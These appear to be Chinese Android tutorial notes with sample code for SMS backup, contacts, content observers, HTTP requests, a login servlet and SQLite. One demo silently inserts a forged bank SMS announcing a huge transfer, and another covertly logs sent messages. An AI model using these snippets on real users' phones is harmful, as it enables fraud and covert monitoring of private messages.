
备份短信和添加短信 操作系统短信的uri: content://sms/ <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.backupsms" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_SMS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.backupsms.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerInParent="true" android:onClick="backupSms" android:text="备份短信" /> </RelativeLayout> package com.itheima28.backupsms.entities; public class SmsInfo { private int id; private String address; private long date; private int type; private String body; public SmsInfo(int id, String address, long date, int type, String body) { super(); this.id = id; this.address = address; this.date = date; this.type = type; this.body = body; } @Override public String toString() { return "SmsInfo [id=" + id + ", address=" + address + ", date=" + date + ", type=" + type + ", body=" + body + "]"; } public SmsInfo() { super(); // TODO Auto-generated constructor stub } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public long getDate() { return date; } public void setDate(long date) { this.date = date; } public int getType() { return type; } public void setType(int type) { this.type = type; } public String getBody() { return body; } public void setBody(String body) { this.body = body; } } package com.itheima28.backupsms; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.xmlpull.v1.XmlSerializer; import com.itheima28.backupsms.entities.SmsInfo; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.content.ContentResolver; import android.database.Cursor; import android.util.Xml; import android.view.Menu; import android.view.View; import android.widget.Toast; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } /** * 备份短信 * @param v */ public void backupSms(View v) { // 1. 查出所有的短信 Uri uri = Uri.parse("content://sms/"); ContentResolver resolver = getContentResolver(); Cursor cursor = resolver.query(uri, new String[]{"_id", "address", "date", "type", "body"}, null, null, null); if(cursor != null && cursor.getCount() > 0) { List<SmsInfo> smsList = new ArrayList<SmsInfo>(); SmsInfo sms; while(cursor.moveToNext()) { // 控制游标结果集的指针向下移一位, 当到最后一位, 停止.返回false sms = new SmsInfo(); sms.setId(cursor.getInt(0)); // 设置短信的id sms.setAddress(cursor.getString(1)); // 设置短信的号码 sms.setDate(cursor.getLong(2)); // 设置短信的日期 sms.setType(cursor.getInt(3)); // 设置短信的类型, 接收1还是发送2 sms.setBody(cursor.getString(4)); // 设置短信的内容 smsList.add(sms); } cursor.close(); // 2. 序列化到本地 writeToLocal(smsList); } } /** * 序列化到本地 */ private void writeToLocal(List<SmsInfo> smsList) { try { XmlSerializer serializer = Xml.newSerializer(); // 得到序列化对象 // 指定输出位置 FileOutputStream fos = new FileOutputStream("/mnt/sdcard/sms.xml"); serializer.setOutput(fos, "utf-8"); serializer.startDocument("utf-8", true); serializer.startTag(null, "smss"); for (SmsInfo smsInfo : smsList) { serializer.startTag(null, "sms"); serializer.attribute(null, "id", String.valueOf(smsInfo.getId())); // 写号码 serializer.startTag(null, "address"); serializer.text(smsInfo.getAddress()); serializer.endTag(null, "address"); // 写时间 serializer.startTag(null, "date"); serializer.text(String.valueOf(smsInfo.getDate())); serializer.endTag(null, "date"); //写类型 serializer.startTag(null, "type"); serializer.text(String.valueOf(smsInfo.getType())); serializer.endTag(null, "type"); // 写内容 serializer.startTag(null, "body"); serializer.text(smsInfo.getBody()); serializer.endTag(null, "body"); serializer.endTag(null, "sms"); } serializer.endTag(null, "smss"); serializer.endDocument(); Toast.makeText(this, "备份成功", 0).show(); } catch (Exception e) { Toast.makeText(this, "备份失败", 0).show(); e.printStackTrace(); } } } 相亲神器 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.xiangqin" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.WRITE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.xiangqin.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> package com.itheima28.xiangqin; import android.net.Uri; import android.os.Bundle; import android.os.SystemClock; import android.app.Activity; import android.content.ContentValues; import android.view.Menu; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 停10秒钟, 想系统短信数据库中写一条短信 new Thread(new Runnable() { @Override public void run() { SystemClock.sleep(10 * 1000); Uri uri = Uri.parse("content://sms/"); // 操作sms表的uri ContentValues values = new ContentValues(); values.put("address", "95555"); values.put("type", "1"); values.put("body", "您的尾号为8890的账户, 收到100, 000, 000, 000.00元的转账. 活期余额为: 899, 777, 000, 111, 000.00元"); getContentResolver().insert(uri, values); } }).start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } 查询和添加联系人 查询联系人:raw_contacts, data 查询: 1. 去raw_contacts表中取所有联系人的_id 2. 去data表中根据上面取到的_id查询对应id的数据. content://com.android.contacts/raw_contacts content://com.android.contacts/data <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <Button android:onClick="queryContacts" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="查询所有联系人" /> <Button android:onClick="addContacts" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="添加联系人" /> </LinearLayout> <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.contacts" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.WRITE_CONTACTS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.contacts.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> package com.itheima28.contacts; import android.app.Activity; import android.content.ContentValues; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.view.View; public class MainActivity extends Activity { private static final String TAG = "MainActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } private void printCursor(Cursor cursor) { if(cursor != null && cursor.getCount() > 0) { while(cursor.moveToNext()) { int columnCount = cursor.getColumnCount(); // 列的总数 for (int i = 0; i < columnCount; i++) { String columnName = cursor.getColumnName(i); // 取对应i位置的列的名称 String columnValue = cursor.getString(i); // 取出对应i位置的列的值 Log.i(TAG, "当前是第" + cursor.getPosition() + "行: " + columnName + " = " + columnValue); } } cursor.close(); } } /** * 查询联系人 * @param v */ public void queryContacts(View v) { // 1. 去raw_contacts表中取所有联系人的_id Uri uri = Uri.parse("content://com.android.contacts/raw_contacts"); Uri dataUri = Uri.parse("content://com.android.contacts/data"); Cursor cursor = getContentResolver().query(uri, new String[]{"_id"}, null, null, null); // printCursor(cursor); if(cursor != null && cursor.getCount() > 0) { while(cursor.moveToNext()) { int id = cursor.getInt(0); // 2. 去data表中根据上面取到的_id查询对应id的数据. String selection = "raw_contact_id = ?"; String[] selectionArgs = {String.valueOf(id)}; Cursor c = getContentResolver().query(dataUri, new String[]{"data1", "mimetype"}, selection, selectionArgs, null); if(c != null && c.getCount() > 0) { while(c.moveToNext()) { String mimetype = c.getString(1); // 当前取的是mimetype的值 String data1 = c.getString(0); // 当前取的是data1数据 if("vnd.android.cursor.item/phone_v2".equals(mimetype)) { Log.i(TAG, "号码: " + data1); } else if("vnd.android.cursor.item/name".equals(mimetype)) { Log.i(TAG, "姓名: " + data1); } else if("vnd.android.cursor.item/email_v2".equals(mimetype)) { Log.i(TAG, "邮箱: " + data1); } } c.close(); } } cursor.close(); } } public void addContacts(View v) { Uri uri = Uri.parse("content://com.android.contacts/raw_contacts"); Uri dataUri = Uri.parse("content://com.android.contacts/data"); // 1. 在raw_contacts表中添加一个记录 // 取raw_contacts表中contact_id的值 Cursor cursor = getContentResolver().query(uri, new String[]{"contact_id"}, null, null, "contact_id desc limit 1"); if(cursor != null && cursor.moveToFirst()) { int contact_id = cursor.getInt(0); contact_id ++; cursor.close(); ContentValues values = new ContentValues(); values.put("contact_id", contact_id); getContentResolver().insert(uri, values); // 2. 根据上面添加记录的id, 取data表中添加三条数据 // 存号码 values = new ContentValues(); values.put("mimetype", "vnd.android.cursor.item/phone_v2"); values.put("data1", "10086"); values.put("raw_contact_id", contact_id); getContentResolver().insert(dataUri, values); // 存姓名 values = new ContentValues(); values.put("mimetype", "vnd.android.cursor.item/name"); values.put("data1", "中国移动"); values.put("raw_contact_id", contact_id); getContentResolver().insert(dataUri, values); // 存邮箱 values = new ContentValues(); values.put("mimetype", "vnd.android.cursor.item/email_v2"); values.put("data1", "10086@kengni.com"); values.put("raw_contact_id", contact_id); getContentResolver().insert(dataUri, values); } } } 内容观察者使用 内容观察者: 发件箱的uri:content://sms/outbox package com.itheima28.contentobserverdemo; import android.app.Activity; import android.content.ContentResolver; import android.database.ContentObserver; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.util.Log; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // 监听系统短信 ContentResolver resolver = getContentResolver(); // 注册一个内容观察者观察短信数据库 resolver.registerContentObserver(Uri.parse("content://sms/"), true, new MyContentObserver(new Handler())); } /** * @author andong * 内容观察者 */ class MyContentObserver extends ContentObserver { private static final String TAG = "MyContentObserver"; public MyContentObserver(Handler handler) { super(handler); } /** * 当被监听的内容发生改变时回调 */ @Override public void onChange(boolean selfChange) { Log.i(TAG, "短信改变了"); Uri uri = Uri.parse("content://sms/outbox"); // 发件箱的uri // 查询发件箱的内容 Cursor cursor = getContentResolver().query(uri, new String[]{"address", "date", "body"}, null, null, null); if(cursor != null && cursor.getCount() > 0) { String address; long date; String body; while(cursor.moveToNext()) { address = cursor.getString(0); date = cursor.getLong(1); body = cursor.getString(2); Log.i(TAG, "号码: " + address + ", 日期: " + date + ", 内容: " + body); } cursor.close(); } } } } 网络图片查看器 Android notResponding(应用程序无响应) 阻塞了主线程 ANR异常 异常: CalledFromWrongThreadException: Only theoriginal thread that created a view hierarchy can touch its views. 只有原始的线程(主线程, ui线程)才能修改view对象. 在子线程中修改view的显示状态, 会报上面异常. 子线程网络图片查看器和Handler消息处理器 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.netphoto" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <!-- 访问网络的权限 --> <uses-permission android:name="android.permission.INTERNET"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.netphoto.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <ImageView android:id="@+id/iv_icon" android:layout_width="fill_parent" android:layout_height="0dip" android:layout_weight="1" /> <LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="horizontal" > <EditText android:id="@+id/et_url" android:layout_width="0dip" android:text="http://imgstatic.baidu.com/img/image/d833c895d143ad4bf450b6dd80025aafa40f06b4_%E5%89%AF%E6%9C%AC.jpg" android:layout_height="wrap_content" android:singleLine="true" android:layout_weight="1" /> <Button android:id="@+id/btn_submit" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Go" android:textSize="20sp" /> </LinearLayout> </LinearLayout> package com.itheima28.netphoto; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import javax.net.ssl.HttpsURLConnection; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.app.Activity; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.util.Log; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.EditText; import android.widget.ImageView; import android.widget.Toast; public class MainActivity extends Activity implements OnClickListener { private static final String TAG = "MainActivity"; protected static final int ERROR = 1; private EditText etUrl; private ImageView ivIcon; private final int SUCCESS = 0; private Handler handler = new Handler() { /** * 接收消息 */ @Override public void handleMessage(Message msg) { super.handleMessage(msg); Log.i(TAG, "what = " + msg.what); if(msg.what == SUCCESS) { // 当前是访问网络, 去显示图片 ivIcon.setImageBitmap((Bitmap) msg.obj); // 设置imageView显示的图片 } else if(msg.what == ERROR) { Toast.makeText(MainActivity.this, "抓去失败", 0).show(); } } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ivIcon = (ImageView) findViewById(R.id.iv_icon); etUrl = (EditText) findViewById(R.id.et_url); findViewById(R.id.btn_submit).setOnClickListener(this); } @Override public void onClick(View v) { final String url = etUrl.getText().toString(); new Thread(new Runnable() { @Override public void run() { Bitmap bitmap = getImageFromNet(url); // ivIcon.setImageBitmap(bitmap); // 设置imageView显示的图片 if(bitmap != null) { Message msg = new Message(); msg.what = SUCCESS; msg.obj = bitmap; handler.sendMessage(msg); } else { Message msg = new Message(); msg.what = ERROR; handler.sendMessage(msg); } }}).start(); } /** * 根据url连接取网络抓去图片返回 * @param url * @return url对应的图片 */ private Bitmap getImageFromNet(String url) { HttpURLConnection conn = null; try { URL mURL = new URL(url); // 创建一个url对象 // 得到http的连接对象 conn = (HttpURLConnection) mURL.openConnection(); conn.setRequestMethod("GET"); // 设置请求方法为Get conn.setConnectTimeout(10000); // 设置连接服务器的超时时间, 如果超过10秒钟, 没有连接成功, 会抛异常 conn.setReadTimeout(5000); // 设置读取数据时超时时间, 如果超过5秒, 抛异常 conn.connect(); // 开始链接 int responseCode = conn.getResponseCode(); // 得到服务器的响应码 if(responseCode == 200) { // 访问成功 InputStream is = conn.getInputStream(); // 获得服务器返回的流数据 Bitmap bitmap = BitmapFactory.decodeStream(is); // 根据 流数据 创建一个bitmap位图对象 return bitmap; } else { Log.i(TAG, "访问失败: responseCode = " + responseCode); } } catch (Exception e) { e.printStackTrace(); } finally { if(conn != null) { conn.disconnect(); // 断开连接 } } return null; } } html查看器 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheima28.htmldemo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.INTERNET"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheima28.htmldemo.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <LinearLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="horizontal" > <EditText android:id="@+id/et_url" android:layout_width="0dip" android:text="http://www.baidu.com" android:layout_height="wrap_content" android:singleLine="true" android:layout_weight="1" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="getHtml" android:text="GO" /> </LinearLayout> <ScrollView android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:id="@+id/tv_html" android:layout_width="fill_parent" android:layout_height="fill_parent" /> </ScrollView> </LinearLayout> package com.itheima28.htmldemo; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.text.TextUtils; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; public class MainActivity extends Activity { private static final String TAG = "MainActivity"; private static final int SUCCESS = 0; protected static final int ERROR = 1; private EditText etUrl; private TextView tvHtml; private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); switch (msg.what) { case SUCCESS: tvHtml.setText((String) msg.obj); break; case ERROR: Toast.makeText(MainActivity.this, "访问失败", 0).show(); break; default: break; } } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); etUrl = (EditText) findViewById(R.id.et_url); tvHtml = (TextView) findViewById(R.id.tv_html); } public void getHtml(View v) { final String url = etUrl.getText().toString(); new Thread(new Runnable() { @Override public void run() { // 请求网络 String html = getHtmlFromInternet(url); if(!TextUtils.isEmpty(html)) { // 更新textview的显示了 Message msg = new Message(); msg.what = SUCCESS; msg.obj = html; handler.sendMessage(msg); } else { Message msg = new Message(); msg.what = ERROR; handler.sendMessage(msg); } } }).start(); } /** * 根据给定的url访问网络, 抓去html代码 * @param url * @return */ protected String getHtmlFromInternet(String url) { try { URL mURL = new URL(url); HttpURLConnection conn = (HttpURLConnection) mURL.openConnection(); conn.setRequestMethod("GET"); conn.setConnectTimeout(10000); conn.setReadTimeout(5000); // conn.connect(); int responseCode = conn.getResponseCode(); if(responseCode == 200) { InputStream is = conn.getInputStream(); String html = getStringFromInputStream(is); return html; } else { Log.i(TAG, "访问失败: " + responseCode); } } catch (Exception e) { e.printStackTrace(); } return null; } /** * 根据流返回一个字符串信息 * @param is * @return * @throws IOException */ private String getStringFromInputStream(InputStream is) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while((len = is.read(buffer)) != -1) { baos.write(buffer, 0, len); } is.close(); String html = baos.toString(); // 把流中的数据转换成字符串, 采用的编码是: utf-8 String charset = "utf-8"; if(html.contains("gbk") || html.contains("gb2312") || html.contains("GBK") || html.contains("GB2312")) { // 如果包含gbk, gb2312编码, 就采用gbk编码进行对字符串编码 charset = "gbk"; } html = new String(baos.toByteArray(), charset); // 对原有的字节数组进行使用处理后的编码名称进行编码 baos.close(); return html; } } html查看器乱码问题 /** * 根据流返回一个字符串信息 * @param is * @return * @throws IOException */ private String getStringFromInputStream(InputStream is) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while((len = is.read(buffer)) != -1) { baos.write(buffer, 0, len); } is.close(); String html = baos.toString(); // 把流中的数据转换成字符串, 采用的编码是: utf-8 String charset = "utf-8"; if(html.contains("gbk") || html.contains("gb2312") || html.contains("GBK") || html.contains("GB2312")) { // 如果包含gbk, gb2312编码, 就采用gbk编码进行对字符串编码 charset = "gbk"; } html = new String(baos.toByteArray(), charset); // 对原有的字节数组进行使用处理后的编码名称进行编码 baos.close(); return html; } 使用HttpURLConnection采用Post方式请求数据 Servlet服务器程序 package com.itheima28.servlet; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class LoginServlet extends HttpServlet { /** * The doGet method of the servlet. <br> * * This method is called when a form has its tag value method equals to get. * * @param request the request send by the client to the server * @param response the response send by the server to the client * @throws ServletException if an error occurred * @throws IOException if an error occurred */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); // 采用的编码是: iso-8859-1 String password = request.getParameter("password"); // 采用iso8859-1的编码对姓名进行逆转, 转换成字节数组, 再使用utf-8编码对数据进行转换, 字符串 username = new String(username.getBytes("iso8859-1"), "utf-8"); password = new String(password.getBytes("iso8859-1"), "utf-8"); System.out.println("姓名: " + username); System.out.println("密码: " + password); if("lisi".equals(username) && "123".equals(password)) { /* * getBytes 默认情况下, 使用的iso8859-1的编码, 但如果发现码表中没有当前字符, * 会使用当前系统下的默认编码: GBK */ response.getOutputStream().write("登录成功".getBytes("utf-8")); } else { response.getOutputStream().write("登录失败".getBytes("utf-8")); } } /** * The doPost method of the servlet. <br> * * This method is called when a form has its tag value method equals to post. * * @param request the request send by the client to the server * @param response the response send by the server to the client * @throws ServletException if an error occurred * @throws IOException if an error occurred */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { System.out.println("doPost"); doGet(request, response); } } Android客户端 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.itheim28.submitdata" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /> <uses-permission android:name="android.permission.INTERNET"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="com.itheim28.submitdata.MainActivity2" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <EditText android:id="@+id/et_username" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入姓名" /> <EditText android:id="@+id/et_password" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入密码" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="doGet" android:text="Get方式提交" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="doPost" android:text="Post方式提交" /> </LinearLayout> package com.itheim28.submitdata.utils; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import android.util.Log; public class NetUtils { private static final String TAG = "NetUtils"; /** * 使用post的方式登录 * @param userName * @param password * @return */ public static String loginOfPost(String userName, String password) { HttpURLConnection conn = null; try { URL url = new URL("http://10.0.2.2:8080/ServerItheima28/servlet/LoginServlet"); conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setConnectTimeout(10000); // 连接的超时时间 conn.setReadTimeout(5000); // 读数据的超时时间 conn.setDoOutput(true); // 必须设置此方法, 允许输出 // conn.setRequestProperty("Content-Length", 234); // 设置请求头消息, 可以设置多个 // post请求的参数 String data = "username=" + userName + "&password=" + password; // 获得一个输出流, 用于向服务器写数据, 默认情况下, 系统不允许向服务器输出内容 OutputStream out = conn.getOutputStream(); out.write(data.getBytes()); out.flush(); out.close(); int responseCode = conn.getResponseCode(); if(responseCode == 200) { InputStream is = conn.getInputStream(); String state = getStringFromInputStream(is); return state; } else { Log.i(TAG, "访问失败: " + responseCode); } } catch (Exception e) { e.printStackTrace(); } finally { if(conn != null) { conn.disconnect(); } } return null; } /** * 使用get的方式登录 * @param userName * @param password * @return 登录的状态 */ public static String loginOfGet(String userName, String password) { HttpURLConnection conn = null; try { String data = "username=" + URLEncoder.encode(userName) + "&password=" + URLEncoder.encode(password); URL url = new URL("http://10.0.2.2:8080/ServerItheima28/servlet/LoginServlet?" + data); conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); // get或者post必须得全大写 conn.setConnectTimeout(10000); // 连接的超时时间 conn.setReadTimeout(5000); // 读数据的超时时间 int responseCode = conn.getResponseCode(); if(responseCode == 200) { InputStream is = conn.getInputStream(); String state = getStringFromInputStream(is); return state; } else { Log.i(TAG, "访问失败: " + responseCode); } } catch (Exception e) { e.printStackTrace(); } finally { if(conn != null) { conn.disconnect(); // 关闭连接 } } return null; } /** * 根据流返回一个字符串信息 * @param is * @return * @throws IOException */ private static String getStringFromInputStream(InputStream is) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while((len = is.read(buffer)) != -1) { baos.write(buffer, 0, len); } is.close(); String html = baos.toString(); // 把流中的数据转换成字符串, 采用的编码是: utf-8 // String html = new String(baos.toByteArray(), "GBK"); baos.close(); return html; } } package com.itheim28.submitdata; import com.itheim28.submitdata.utils.NetUtils; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends Activity { private EditText etUserName; private EditText etPassword; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); etUserName = (EditText) findViewById(R.id.et_username); etPassword = (EditText) findViewById(R.id.et_password); } public void doGet(View v) { final String userName = etUserName.getText().toString(); final String password = etPassword.getText().toString(); new Thread( new Runnable() { @Override public void run() { // 使用get方式抓去数据 final String state = NetUtils.loginOfGet(userName, password); // 执行任务在主线程中 runOnUiThread(new Runnable() { @Override public void run() { // 就是在主线程中操作 Toast.makeText(MainActivity.this, state, 0).show(); } }); } }).start(); } public void doPost(View v) { final String userName = etUserName.getText().toString(); final String password = etPassword.getText().toString(); new Thread(new Runnable() { @Override public void run() { final String state = NetUtils.loginOfPost(userName, password); // 执行任务在主线程中 runOnUiThread(new Runnable() { @Override public void run() { // 就是在主线程中操作 Toast.makeText(MainActivity.this, state, 0).show(); } }); } }).start(); } } 开源项目简介 github.com 开源网站, 一个大的仓库. 存放的都是框架 android-async-http-master.zip android-smart-image-view-master.zip 直接拿来用 最火的android开源项目 csdn的帖子
数据库的创建和sql语句增删改查 1. 加载驱动. 2. 连接数据库. 3. 操作数据库. 创建表: create table person( _id integer primary key, name varchar(20), age integer ); 添加: insert into person(name, age) values('lisi', 19); 删除: delete from person where _id = 1; 修改: update person set name = '李四' where name = '王五'; 查询所有: select * from person; 查询单条: select * from person where name = 'zhangsan'; SQLiteExpert3, pc上的工具软件。 package com.itheima28.sqlitedemo.dao; import java.util.ArrayList; import java.util.List; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import com.itheima28.sqlitedemo.db.PersonSQLiteOpenHelper; import com.itheima28.sqlitedemo.entities.Person; public class PersonDao { private PersonSQLiteOpenHelper mOpenHelper; // 数据库的帮助类对象 public PersonDao(Context context) { mOpenHelper = new PersonSQLiteOpenHelper(context); } /** * 添加到person表一条数据 * @param person */ public void insert(Person person) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 // 执行添加到数据库的操作 db.execSQL("insert into person(name, age) values(?, ?);", new Object[]{person.getName(), person.getAge()}); db.close(); // 数据库关闭 } } /** * 更据id删除记录 * @param id */ public void delete(int id) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); // 获得可写的数据库对象 if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 db.execSQL("delete from person where _id = ?;", new Integer[]{id}); db.close(); // 数据库关闭 } } /** * 根据id找到记录, 并且修改姓名 * @param id * @param name */ public void update(int id, String name) { SQLiteDatabase db = mOpenHelper.getWritableDatabase(); if(db.isOpen()) { // 如果数据库打开, 执行添加的操作 db.execSQL("update person set name = ? where _id = ?;", new Object[]{name, id}); db.close(); // 数据库关闭 } } public List<Person> queryAll() { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); // 获得一个只读的数据库对象 if(db.isOpen()) { Cursor cursor = db.rawQuery("select _id, name, age from person;", null); if(cursor != null && cursor.getCount() > 0) { List<Person> personList = new ArrayList<Person>(); int id; String name; int age; while(cursor.moveToNext()) { id = cursor.getInt(0); // 取第0列的数据 id name = cursor.getString(1); // 取姓名 age = cursor.getInt(2); // 取年龄 personList.add(new Person(id, name, age)); } db.close(); return personList; } db.close(); } return null; } /** * 根据id查询人 * @param id * @return */ public Person queryItem(int id) { SQLiteDatabase db = mOpenHelper.getReadableDatabase(); // 获得一个只读的数据库对象 if(db.isOpen()) { Cursor cursor = db.rawQuery("select _id, name, age from person where _id = ?;", new String[]{id + ""}); if(cursor != null && cursor.moveToFirst()) { int _id = cursor.getInt(0); String name = cursor.getString(1); int age = cursor.getInt(2); db.close(); return new Person(_id, name, age); } db.close(); } return null; } } package com.itheima28.sqlitedemo.db; import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteDatabase.CursorFactory; import android.database.sqlite.SQLiteOpenHelper; import android.util.Log; /** * @author andong * 数据库帮助类, 用于创建和管理数据库的. */ public class PersonSQLiteOpenHelper extends SQLiteOpenHelper { private static final String TAG = "PersonSQLiteOpenHelper"; /** * 数据库的构造函数 * @param context * * name 数据库名称 * factory 游标工程 * version 数据库的版本号 不可以小于1 */ public PersonSQLiteOpenHelper(Context context) { super(context, 